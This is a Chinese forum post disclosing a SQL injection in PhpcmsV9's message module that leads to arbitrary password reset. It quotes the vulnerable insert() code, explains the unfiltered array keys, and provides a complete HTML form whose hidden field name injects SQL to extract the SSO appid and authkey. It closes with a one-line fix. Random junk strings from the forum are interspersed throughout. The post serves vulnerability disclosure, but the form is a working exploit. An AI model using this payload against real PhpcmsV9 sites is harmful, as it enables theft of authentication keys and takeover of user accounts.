找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2400|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:! H; ?, C( @7 h4 \/ E* m2 D% q, e2 y& Y
- M% n5 n3 R  y# v" N. J2 a4 e
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。. i+ A! Y) I# w( u3 j, }

7 Y& I  L: y9 f0 }6 T: A) s: q明天再更新下一个漏洞。; A* O3 U; b6 N( n2 X# @& _" a
详细说明:
+ @( w( U3 U* _: p* g& w6 \) T+ L在/phpcms9/phpcms/modules/message/index.php中有代码如下:4 ?- \8 M  T8 l7 b7 N

! _' ~+ ]  r: u# {$messageid = $this->message_db->insert($_POST['info'],true);# y; Q" @. U5 F- P( |, K3 |
( |, j' j: P0 ~4 b0 h- O
) L& {5 X( `* u6 S& W; S  A6 T, q
insert方法是key value的,代码如下:- W2 ]8 U5 Z8 i
6 G/ y% Q8 H5 w9 K! O2 E
public function insert($data, $table, $return_insert_id = false, $replace = false) {' O7 y4 P1 {6 N! y1 K
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
; a; }7 g: V; B- p1 H                        return false;
. S7 [7 T0 D7 ]& j- _/ U. u9 Q                }
5 y+ Y2 x/ t8 M+ ]               
3 E. h" V$ o7 b                $fielddata = array_keys($data);+ u$ u3 U* s( T) j* o6 z
                $valuedata = array_values($data);8 H( A3 {& Q$ P0 l- e8 P) h0 X
                array_walk($fielddata, array($this, 'add_special_char'));& t; T1 a- O' G- j2 e
                array_walk($valuedata, array($this, 'escape_string'));
8 n- v# E0 v8 d                # B( j0 q& j& A# e
                $field = implode (',', $fielddata);& O' S5 l' z. U- y! I' s) ^
                $value = implode (',', $valuedata);: Q( d0 U" t8 U1 i0 p* L* R6 E
( z/ L) N6 S: y2 k" h' a0 k
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';+ f- Y4 t9 R+ w6 }; N4 C5 X
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
# e/ D  o6 ^1 _# q+ o$ }5 Z4 Z9 @) I* P                $return = $this->execute($sql);
+ M- C9 q$ ?4 D6 a! A                return $return_insert_id ? $this->insert_id() : $return;: z* ^3 P9 }1 R5 a* w1 A
        }
* E8 B5 X* C8 N% |0 C
( N; X; S/ _% C* R3 Z, L) d
( Z  a6 J; y6 Z/ Z) ~. ], S嗯,很遗憾的是
$ T% \' D6 ~3 a2 s! R1 |+ E7 j; s; V6 b# d4 U; E; [
array_walk($fielddata, array($this, 'add_special_char'));  ]) a: Z. g8 y) M' Y3 t
% l% X1 s7 e0 y0 L$ M* @9 {7 L) `/ P1 D

, p$ n+ [2 _) {( d1 j( p+ X6 u中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。+ \5 D' R4 h* D( ^8 a

) H9 e: D/ S. I% @' H到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
! v- ?6 J' C$ O( s1 [
& A' e/ i' F) ]5 l" |6 K' j$ n漏洞证明:
0 E/ y- U& B" A& c# Q读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
8 x1 q. O2 G9 G/ e- s2 ^3 t8 b$ D5 ^. o' O6 j! y
3 m& _& U, x( }; P1 z
表单如下:用户名什么的得自己改一改。
- O$ C/ D( r' K) V+ O<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">, V/ i4 U# t9 J
<table width="100%" cellspacing="0" class="table_form">* _" Y4 P+ ?" q3 c/ W% }
<tr>6 L& ~' N) t, M; J
<th>标 题:</th>
6 |% C: X1 c4 C! P: h5 F<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
9 d* z  k' T  L/ T4 `( D5 C</tr> 2 X) ~: Y5 K: q  `8 ^# h! a1 i
<tr>
2 Q* ?: C+ `1 U$ y<th>内 容:</th>
$ }5 ]3 `2 E. N/ m! B<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>7 }; k  t+ O8 J
</tr>+ g% o* b$ g/ G+ [% H0 h$ Y9 ^( Z4 C
<input type="hidden" name="info[replyid]" value="2" />
# ~; t8 R8 c  F) K0 Y<input type="hidden" name="info[send_to_id]" value="cc" /> ' P: z) x( C- k/ {# A1 A. I
<input type="hidden" name="info[send_from_id]" value="hh">
$ i$ o  a3 \, a: Q7 [<!-- 漏洞的利用重点在这里开始 -->
) k3 K: O; `+ m8 c9 M<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 7 }4 Z6 ^& ]# U2 G+ w( [
<!-- 漏洞的利用重点在这里结束 -->' w5 f" B+ n' H8 p
<tr>
) k) l, q9 B" {<th>验证码:</th>9 I/ s' ]$ ^& z8 F
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>4 i2 w+ K: k# u& y' V2 K
</tr>2 g/ d, F8 [) `! r# e/ N
<tr>
2 e+ S5 y( ?2 Z! y! n& l' p<td></td>4 Q/ ?# M& P. @4 M% K7 v! x8 W/ V2 E$ g4 I
<td colspan="2"><label>6 s( P' f7 K8 k" t
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
% Q- }4 U% D0 j" R$ W# p</label></td>2 {/ k9 ^; y: J9 E/ \
</tr>4 _- f( B/ t; U" ]
</table>3 i  f6 Z5 `3 m7 w6 R
</form>
3 e, r0 c! N' ^% }在add_special_char函数内对key做过滤就可以了。
& `3 Z1 ?8 E  |  D7 ]. A& w8 b, }, p6 q9 K# B& y6 j8 M# m! ]: T

' p. z6 f, D- \* H
6 j! i3 b1 ?# G

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表